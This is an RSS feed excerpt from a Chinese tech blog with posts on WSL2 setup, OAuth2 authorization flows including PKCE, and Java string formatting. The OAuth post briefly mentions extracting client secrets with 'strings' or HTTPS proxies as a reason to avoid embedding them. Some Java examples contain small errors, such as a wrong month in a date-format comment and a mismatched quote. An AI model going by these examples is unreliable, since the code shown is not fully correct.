  &lt;li&gt;&lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-wsl&quot;&gt;安装 VS Code 远程 WSL 扩展&lt;/a&gt;: 
此扩展使你能够在 VS Code 中打开在 WSL 上运行的 Linux 项目， (无需担心路径问题、二进制兼容性或) 的其他跨操作系统挑战。&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers&quot;&gt;安装 VS code Remote-Containers 扩展&lt;/a&gt;  此扩展使你能够在容器中打开你的项目文件夹或存储库，利用 Visual Studio Code 的完整功能集来完成容器中的开发工作。&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=ms-azuretools.vscode-docker&quot;&gt;安装 VS Code Docker 扩展&lt;/a&gt;。 此扩展添加了从 VS Code 内部生成、管理和部署容器化应用程序的功能。 (需要 Remote-Container 扩展，才能实际使用容器作为开发环境。 )&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;除了在命令行直接远程操作，还可以用remote window和左侧的Remote Explorer 图标访问容器和远程系统。&lt;/p&gt;

&lt;h1 id=&quot;参考&quot;&gt;参考&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;https://www.sitepoint.com/wsl2/&lt;/li&gt;
  &lt;li&gt;https://zhuanlan.zhihu.com/p/258563812&lt;/li&gt;
  &lt;li&gt;安装docker：
https://docs.docker.com/docker-for-windows/install/&lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;https://docs.docker.com/docker-for-windows/wsl/&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;wsl2 update linux kernel
https://docs.microsoft.com/zh-cn/windows/wsl/wsl2-kernel&lt;/li&gt;
  &lt;li&gt;玩转 WSL 在 Win10 上打造 Linux 开发环境
https://zhuanlan.zhihu.com/p/93457173&lt;/li&gt;
  &lt;li&gt;https://docs.microsoft.com/zh-cn/windows/wsl/tutorials/wsl-containers&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Thu, 20 May 2021 12:28:36 +0000</pubDate>
        <link>http://abloz.com/tech/2021/05/20/wsl2/</link>
        <guid isPermaLink="true">http://abloz.com/tech/2021/05/20/wsl2/</guid>
        
        <category>win10</category>
        
        <category>wsl2</category>
        
        <category>linux</category>
        
        <category>ubuntu</category>
        
        <category>docker</category>
        
        
        <category>tech</category>
        
      </item>
    
      <item>
        <title>理解App下的OAuth2授权</title>
        <description>&lt;h1 id=&quot;oauth2&quot;&gt;OAuth2&lt;/h1&gt;
&lt;p&gt;在授权登录时，OAuth2 用得比较广泛。本文详细描述了不同客户端用OAuth2标准获取用户授权的方式。&lt;/p&gt;

&lt;h1 id=&quot;名词解释&quot;&gt;名词解释&lt;/h1&gt;
&lt;h2 id=&quot;参与角色&quot;&gt;参与角色&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;客户端：第三方应用。需要从用账号中获取资源的应用。&lt;/li&gt;
  &lt;li&gt;资源服务器：资源获取 API 提供者。&lt;/li&gt;
  &lt;li&gt;授权服务器：提供同意或者拒绝用户授权的服务器。可以和资源服务器是同一或分离的服务器。&lt;/li&gt;
  &lt;li&gt;用户：资源拥有者。
    &lt;h2 id=&quot;其他&quot;&gt;其他&lt;/h2&gt;
  &lt;/li&gt;
  &lt;li&gt;第三方应用注册：向资源方注册app，一般提供名称，网站，logo和重定向URI。&lt;/li&gt;
  &lt;li&gt;重定向URI：基于web的，必须用https协议避免授权时被拦截。原生APP一般注册一个自定义scheme，如demoapp://redirect&lt;/li&gt;
  &lt;li&gt;Client ID和Secret：注册完成后返回一个Client ID和Secret。Client ID一般是公开的，可用于组成登录URL，或者放在javascript页面的脚本中。Secret则&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;必须&lt;/code&gt;保密。对原生App或者单页js应用，不能用Secret。此类应用最好别生成secret。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;授权类型&quot;&gt;授权类型&lt;/h2&gt;
&lt;ol&gt;
  &lt;li&gt;授权码（Authorization Code），支持web 服务器，基于浏览器App及原生APP。&lt;/li&gt;
  &lt;li&gt;密码：登录时提供用户名和密码。仅用于同一家公司的不同app&lt;/li&gt;
  &lt;li&gt;客户端证书（Client credentials），用于访问时不需要用户参与。静默授权。&lt;/li&gt;
  &lt;li&gt;隐式（Implicit）：用于客户端没有密码的情况，已带PKCE的授权码取代。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;下面对具有Web Server的web应用，web单页应用或基于浏览器的App，原生应用分别进行详述。&lt;/p&gt;
&lt;h1 id=&quot;web-server-应用&quot;&gt;Web Server 应用&lt;/h1&gt;
&lt;p&gt;因为有服务器，且服务器非公开，所以是大多数的服务场景，且比较安全。&lt;/p&gt;
&lt;h2 id=&quot;登录&quot;&gt;登录&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://authorization-server.com/auth?response_type=code&amp;amp;
  client_id=CLIENT_ID&amp;amp;redirect_uri=REDIRECT_URI&amp;amp;scope=photos&amp;amp;state=1234zyx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;response_type=code&lt;/strong&gt; - 表示服务器期望收到授权码。&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;client_id&lt;/strong&gt; - 创建app时收到的client id。&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;redirect_uri&lt;/strong&gt; - 授权完成时重定向到的地址&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;scope&lt;/strong&gt; - 一到多个范围值，指示可以访问到的用户账号的哪些部分。&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;state&lt;/strong&gt; - 第三方应用生成的随机串，可以用于后面验证，这样避免一些攻击。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;弹出提示，说明哪个应用希望访问用户的哪些内容。如果用户同意访问，则重定向到第三方服务：&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://example-app.com/cb?code=AUTH_CODE_HERE&amp;amp;state=1234zyx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;第三方应用应该比较state是否和发出的请求一致。避免被欺骗，换成其他AUTH_CODE_HERE&lt;/p&gt;

&lt;h2 id=&quot;服务端获取access-token&quot;&gt;服务端获取access token&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST https://api.authorization-server.com/token
  grant_type=authorization_code&amp;amp;
  code=AUTH_CODE_HERE&amp;amp;
  redirect_uri=REDIRECT_URI&amp;amp;
  client_id=CLIENT_ID&amp;amp;
  client_secret=CLIENT_SECRET
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;redirect_uri=REDIRECT_URI&lt;/strong&gt; 必须和原来注册时提供的一致&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;服务端返回：&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{
  &quot;access_token&quot;:&quot;RsT5OjbzRn430zqMLgV3Ia&quot;,
  &quot;expires_in&quot;:3600
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;或者遇到错误时：&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{
  &quot;error&quot;:&quot;invalid_request&quot;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h1 id=&quot;单页浏览器app&quot;&gt;单页浏览器App&lt;/h1&gt;
&lt;p&gt;浏览器会加载全部代码，所以不能存储密钥和客户端密码。可以采用授权码类似，但每次请求动态生成密码，即PKCE扩展。
&lt;em&gt;老的标准是用“implict”模式，直接给客户端返回token，这有安全问题。现在推荐用PKCE模式。&lt;/em&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;创建一个43-128长度字符串，叫code_verifier，验证码，如：
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;5d2309e5bb73b864f989753887fe52f79ce5270395e25862da6940d5&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;将其用SHA256编码，再转为url-safe的base64编码，叫code_challenge，挑战码：
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MChCW5vD-3h03HMGFZYskOSTir7II_MMTb8a9rJNhnI&lt;/code&gt;
可以用 example-app.com/pkce 生成密码和hash&lt;/li&gt;
  &lt;li&gt;和授权码登录类似，但增加了code_challenge
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://authorization-server.com/auth?response_type=code&amp;amp;
  client_id=CLIENT_ID&amp;amp;redirect_uri=REDIRECT_URI&amp;amp;scope=photos&amp;amp;state=1234zyx&amp;amp;code_challenge=CODE_CHALLENGE&amp;amp;code_challenge_method=S256
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;strong&gt;code_challenge&lt;/strong&gt; -  URL-safe base64-encoded SHA256 hash （ secret）&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;返回
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://example-app.com/cb?code=AUTH_CODE_HERE&amp;amp;state=1234zyx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;获取授权码&lt;/li&gt;
&lt;/ol&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST https://api.authorization-server.com/token
  grant_type=authorization_code&amp;amp;
  code=AUTH_CODE_HERE&amp;amp;
  redirect_uri=REDIRECT_URI&amp;amp;
  client_id=CLIENT_ID&amp;amp;
  code_verifier=CODE_VERIFIER
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;*code_verifier=CODE_VERIFIER&lt;/em&gt; 一开始生成的随机字符串
这防止了授权码请求被拦截时，还是不能获取访问token，因为没有验证码。&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;原生应用-apps&quot;&gt;原生应用 Apps&lt;/h1&gt;
&lt;p&gt;原生应用和基于浏览器应用差不多，都不能保证密钥的安全。所以也采用授权码加PKCE扩展。&lt;/p&gt;
&lt;h2 id=&quot;授权&quot;&gt;授权&lt;/h2&gt;
&lt;p&gt;创建一个“登录”按钮，点击后唤起授权App或者Web page。原生app可以创建自定义的模式scheme如：”example-app://”&lt;/p&gt;
&lt;h3 id=&quot;使用原生服务app&quot;&gt;使用原生服务app&lt;/h3&gt;
&lt;p&gt;假设安装了facebook app，采用如下url进入：&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;fbauth2://authorize?response_type=code&amp;amp;client_id=CLIENT_ID
  &amp;amp;redirect_uri=REDIRECT_URI&amp;amp;scope=email&amp;amp;state=1234zyx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;redirect_uri=REDIRECT_URI&lt;/strong&gt; - 当授权完成，指示用户跳转的URI。如  fb00000000://authorize&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;scope=email&lt;/strong&gt; - 一到多个需要授权的资源&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;如果服务器支持PKCE，（自己提供的服务，应该支持PKCE）则应该带上相关参数：&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;code_challenge=XXXXXXX -  base64-encoded  sha256 hash（code verifier string）&lt;/li&gt;
  &lt;li&gt;code_challenge_method=S256 - hash方法, sha256.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;使用独立浏览器&quot;&gt;使用独立浏览器&lt;/h3&gt;
&lt;p&gt;如果资源方没有独立App，则应该唤起一个独立浏览器来进行登录授权。不能直接用webview，这样无法保证是资源方提供的服务，容易被钓鱼。
iOS 9以后，可以用”SafariViewController”来打开嵌入式浏览器。它与独立浏览器共享cookie，也可以看到地址栏。还能阻止app偷窥以及修改浏览器内容，所以可以认为安全。&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://facebook.com/dialog/oauth?response_type=code&amp;amp;client_id=CLIENT_ID
  &amp;amp;redirect_uri=REDIRECT_URI&amp;amp;scope=email&amp;amp;state=1234zyx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;如果服务支持PKCE，则应该带上相关参数。&lt;/p&gt;

&lt;h3 id=&quot;获取授权码&quot;&gt;获取授权码&lt;/h3&gt;
&lt;p&gt;用户点击“同意授权（Approve）”后，将被重定向到应用服务：&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;fb00000000://authorize?code=AUTHORIZATION_CODE&amp;amp;state=1234zyx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;应用服务首先应该校验state，再用code去获取访问token。&lt;/p&gt;

&lt;p&gt;与web server获取访问token基本相同，但不再带密钥secret，如果服务支持PKCE 则带上相关参数如code_verifie，如下：&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST https://api.authorization-server.com/token
  grant_type=authorization_code&amp;amp;
  code=AUTH_CODE_HERE&amp;amp;
  redirect_uri=REDIRECT_URI&amp;amp;
  client_id=CLIENT_ID&amp;amp;
  code_verifier=VERIFIER_STRING
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;授权服务校验并返回访问token。如果支持PKCE，则服务应该知道code是挑战生成，需要比较code_verifier运算后与挑战所带的hash是否一致。这样可以支持一些不支持秘钥secret的客户端。&lt;/p&gt;

&lt;h1 id=&quot;密码方式&quot;&gt;密码方式&lt;/h1&gt;
&lt;p&gt;密码方式应该是同一家单位的不同服务。如微信桌面版和移动版。&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST https://api.authorization-server.com/token
  grant_type=password&amp;amp;
  username=USERNAME&amp;amp;
  password=PASSWORD&amp;amp;
  client_id=CLIENT_ID
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;没有secret字段，因为假设大多数这种场景是移动或桌面应用。&lt;/p&gt;

&lt;h1 id=&quot;应用访问授权&quot;&gt;应用访问授权&lt;/h1&gt;
&lt;p&gt;某些情况下，应用需要授权访问服务提供者的服务，但不是代表用户，而是应用自身。如获取客户端访问统计数据。可以在后端用POST方法如下：&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST https://api.authorization-server.com/token
    grant_type=client_credentials&amp;amp;
    client_id=CLIENT_ID&amp;amp;
    client_secret=CLIENT_SECRET
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;服务提供方校验后，可以像其他方式一样返回token。&lt;/p&gt;

&lt;h1 id=&quot;获取资源&quot;&gt;获取资源&lt;/h1&gt;
&lt;p&gt;拿到访问token后，就可以访问资源了，如下：&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl -H &quot;Authorization: Bearer RsT5OjbzRn430zqMLgV3Ia&quot; \
https://api.authorization-server.com/1/me
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;一定要用https协议，并且不要忽略无效证书。Https是唯一能够保护请求被拦截和修改的方式。&lt;/p&gt;

&lt;h1 id=&quot;https安全&quot;&gt;https安全&lt;/h1&gt;
&lt;p&gt;原生app或者浏览器app为何不能直接放密钥？因为app是完全控制在用户手中的。可以用各种手段进行脱壳，反编译，调试，监听。
密钥可以直接在客户端采用strings等命令列出来。
就算进行混淆，和服务端通信时也可以通过 https proxy如charles proxy监听到。&lt;/p&gt;

&lt;h1 id=&quot;参考&quot;&gt;参考&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://oauth.net/2/&quot;&gt;OAuth2 相关标准&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;OAuth2 标准：&lt;a href=&quot;http://tools.ietf.org/html/rfc6749&quot;&gt;RFC 6749&lt;/a&gt;，2012,IETF OAuth Working Group&lt;/li&gt;
  &lt;li&gt;OAuth 2.0 for Native Apps：&lt;a href=&quot;http://tools.ietf.org/html/rfc8252&quot;&gt;RFC 8252&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;JWT标准：&lt;a href=&quot;http://tools.ietf.org/html/rfc7519&quot;&gt;RFC 7519&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;PKCE(Proof Key for Code Exchange): &lt;a href=&quot;https://tools.ietf.org/html/rfc7636&quot;&gt;RFC 7636&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tools.ietf.org/html/draft-ietf-oauth-v2-1&quot;&gt;OAuth 2.1 草案&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://oauth.net/2/browser-based-apps/&quot;&gt;OAuth for Browser-Based Apps&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://oauth.net/2/oauth-best-practice/&quot;&gt;OAuth 2.0 Security Best Current Practice&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;https://aaronparecki.com/oauth-2-simplified 作者Aaron Parecki 是W3C多个规范编辑， oauth.net网站主。&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.charlesproxy.com/&quot;&gt; Charles Proxy &lt;/a&gt; Https代理&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mitmproxy.org/&quot;&gt;mitmproxy&lt;/a&gt; 免费MIT Https 代理&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Tue, 22 Dec 2020 10:28:36 +0000</pubDate>
        <link>http://abloz.com/tech/2020/12/22/oauth2-app/</link>
        <guid isPermaLink="true">http://abloz.com/tech/2020/12/22/oauth2-app/</guid>
        
        <category>oauth2</category>
        
        <category>pkce</category>
        
        <category>https</category>
        
        <category>安全</category>
        
        <category>授权登录</category>
        
        
        <category>tech</category>
        
      </item>
    
      <item>
        <title>Java 字符串参数格式化</title>
        <description>&lt;h1 id=&quot;java-字符串参数格式化&quot;&gt;Java 字符串参数格式化&lt;/h1&gt;
&lt;p&gt;想设计一个模板, 直接将java的参数用进去。故整理一下java字符串参数格式化方法。&lt;/p&gt;

&lt;h1 id=&quot;格式标志&quot;&gt;格式标志&lt;/h1&gt;
&lt;p&gt;SPECIFIER | APPLIES TO | OUTPUT
–|–|–
%a | floating point (except BigDecimal) | Hex output of floating point number
%b | Any type | “true” if non-null, “false” if null
%c | character | Unicode character
%d | integer (incl. byte, short, int, long, bigint) | Decimal Integer
%e | floating point | decimal number in scientific notation
%f | floating point | decimal number
%g | floating point | decimal number, possibly in scientific notation depending on the precision and value.
%h | any type | Hex String of value from hashCode() method.
 %n | none | Platform-specific line separator.
%o | integer (incl. byte, short, int, long, bigint) | Octal number
%s | any type | String value
%t | Date/Time (incl. long, Calendar, Date and TemporalAccessor) | %t is the prefix for Date/Time conversions. More formatting flags are needed after this. See Date/Time conversion below.
%x | integer (incl. byte, short, int, long, bigint) | 
Hex string.&lt;/p&gt;

&lt;h1 id=&quot;格式化通用说明&quot;&gt;格式化通用说明&lt;/h1&gt;

&lt;h2 id=&quot;general-character--numeric-类型&quot;&gt;general, character,  numeric 类型&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;%[argument_index$][flags][width][.precision]conversion
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;dates-and-times&quot;&gt;dates and times&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;%[argument_index$][flags][width]conversion
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;非参数&quot;&gt;非参数&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; %[flags][width]conversion
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;如%n换行&lt;/p&gt;

&lt;h1 id=&quot;举例&quot;&gt;举例&lt;/h1&gt;
&lt;h2 id=&quot;通用格式化&quot;&gt;通用格式化&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;String output = String.format(&quot;%s = %d&quot;, &quot;zhh&quot;, 25);
System.out.printf(&quot;My name is: %s%n&quot;, &quot;zhh&quot;);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;参数索引&quot;&gt;参数索引&lt;/h2&gt;
&lt;p&gt;用第2个参数,忽略第1个&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;String.format(&quot;%2$s&quot;, 32, &quot;Hello&quot;); // prints: &quot;Hello&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;字符串格式化&quot;&gt;字符串格式化&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;String.format(&quot;|%s|&quot;, &quot;Hello World&quot;); // prints: &quot;Hello World&quot;
String.format(&quot;|%30s|&quot;, &quot;Hello World&quot;);
// |                   Hello World|
String.format(&quot;|%-30s|&quot;, &quot;Hello World&quot;);
// |Hello World                   |
String.format(&quot;|%.5s|&quot;, &quot;Hello World&quot;); // prints: |Hello|
String.format(&quot;|%30.5s|&quot;, &quot;Hello World&quot;); // prints: |Hello|

|                         Hello|
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;## 货币格式化&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;String.format(&quot;|%,d|&quot;, 10000000); // prints: |10,000,000|
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;整形数字格式化&quot;&gt;整形数字格式化&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;String.format(&quot;%d&quot;, 93); // prints 93
String.format(&quot;|%20d|&quot;, 93); // prints: |                  93|
String.format(&quot;|%-20d|&quot;, 93); // prints: |93                  |
String.format(&quot;|%020d|&quot;, 93); // prints: |00000000000000000093|
String.format(&quot;|%+20d|&apos;, 93); // prints: |                 +93|
String.format(&quot;|% d|&quot;, 93); // prints: | 93| String.format(&quot;|% d|&quot;, -36); // prints: |-36|
String.format(&quot;|%(d|&quot;, -36); // prints: |(36)|

// 增加前导0和0x
String.format(&quot;|%#o|&quot;, 93);
// prints: 0135
String.format(&quot;|%#x|&quot;, 93);
// prints: 0x5d
String.format(&quot;|%#X|&quot;, 93);
// prints: 0X5D
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;浮点格式化&quot;&gt;浮点格式化&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;StringBuilder sb = new StringBuilder();
// Send all output to the Appendable object sb
Formatter formatter = new Formatter(sb, Locale.CHINESE);
formatter.format(Locale.CHINESE, &quot;e = |%+10.4f|&quot;, Math.E);
System.out.println(formatter.toString());
//e = |   +2.7183|
formatter.format(&quot;e = |%,.2f|&quot;, -Math.E*10000);
//e = |-27,182.82|
formatter.format(&quot;e = |%(,.2f|&quot;, -Math.E*10000);
//(可以取代负号,|(27,182.82)|

BigDecimal b = new BigDecimal(Math.PI*Math.pow(10,20));
formatter.format(&quot;big pi:|%.4f|&quot;,b);
//big pi:|314159265358979334144.0000|
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;日期格式化&quot;&gt;日期格式化&lt;/h2&gt;
&lt;p&gt;常用的格式化标志,全集请参考java doc.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;FLAG&lt;/th&gt;
      &lt;th&gt;NOTES&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;%tF&lt;/td&gt;
      &lt;td&gt;ISO 8601 formatted date with “%tY-%tm-%td“.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;%tH&lt;/td&gt;
      &lt;td&gt;Hour of the day for the 24-hour clock e.g. “00” to “23“.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;%tM&lt;/td&gt;
      &lt;td&gt;Minute within the hour formatted a leading 0 e.g. “00” to “59“.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;%tm&lt;/td&gt;
      &lt;td&gt;Month formatted with a leading 0 e.g. “01” to “12“.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;%tT&lt;/td&gt;
      &lt;td&gt;Time formatted as 24-hours e.g. “%tH:%tM:%tS“.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;%tY&lt;/td&gt;
      &lt;td&gt;Year formatted with 4 digits e.g. “0000” to “9999“.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;%tS&lt;/td&gt;
      &lt;td&gt;Seconds within the minute formatted with 2 digits e.g. “00” to “60”. “60” is required to support leap seconds.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;%td&lt;/td&gt;
      &lt;td&gt;Day of the month formatted with two digits. e.g. “01” to “31“.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;%tR&lt;/td&gt;
      &lt;td&gt;Time formatted as 24-hours e.g. “%tH:%tM“.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;//月份从0开始,所以需要-1
Calendar c1 = new GregorianCalendar(2020, 4-1, 23);
String s = String.format(&quot;那天: %1$tY年%1$tm月%1$te日&quot;, c1);
//那天: 2020年03月23日
Calendar c = new GregorianCalendar();
String s = String.format(&quot;今天: %1$tY年%1$tm月%1$te日&quot;, c);
//今天: 2020年04月29日
s = String.format(&quot;今天时间: %1$tY年%1$tm月%1$te日 %1$tH时%1$tM分%1$tS秒&quot;, c);
//今天时间: 2020年04月29日 17时31分04秒
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;参考&quot;&gt;参考&lt;/h1&gt;
&lt;ul&gt;
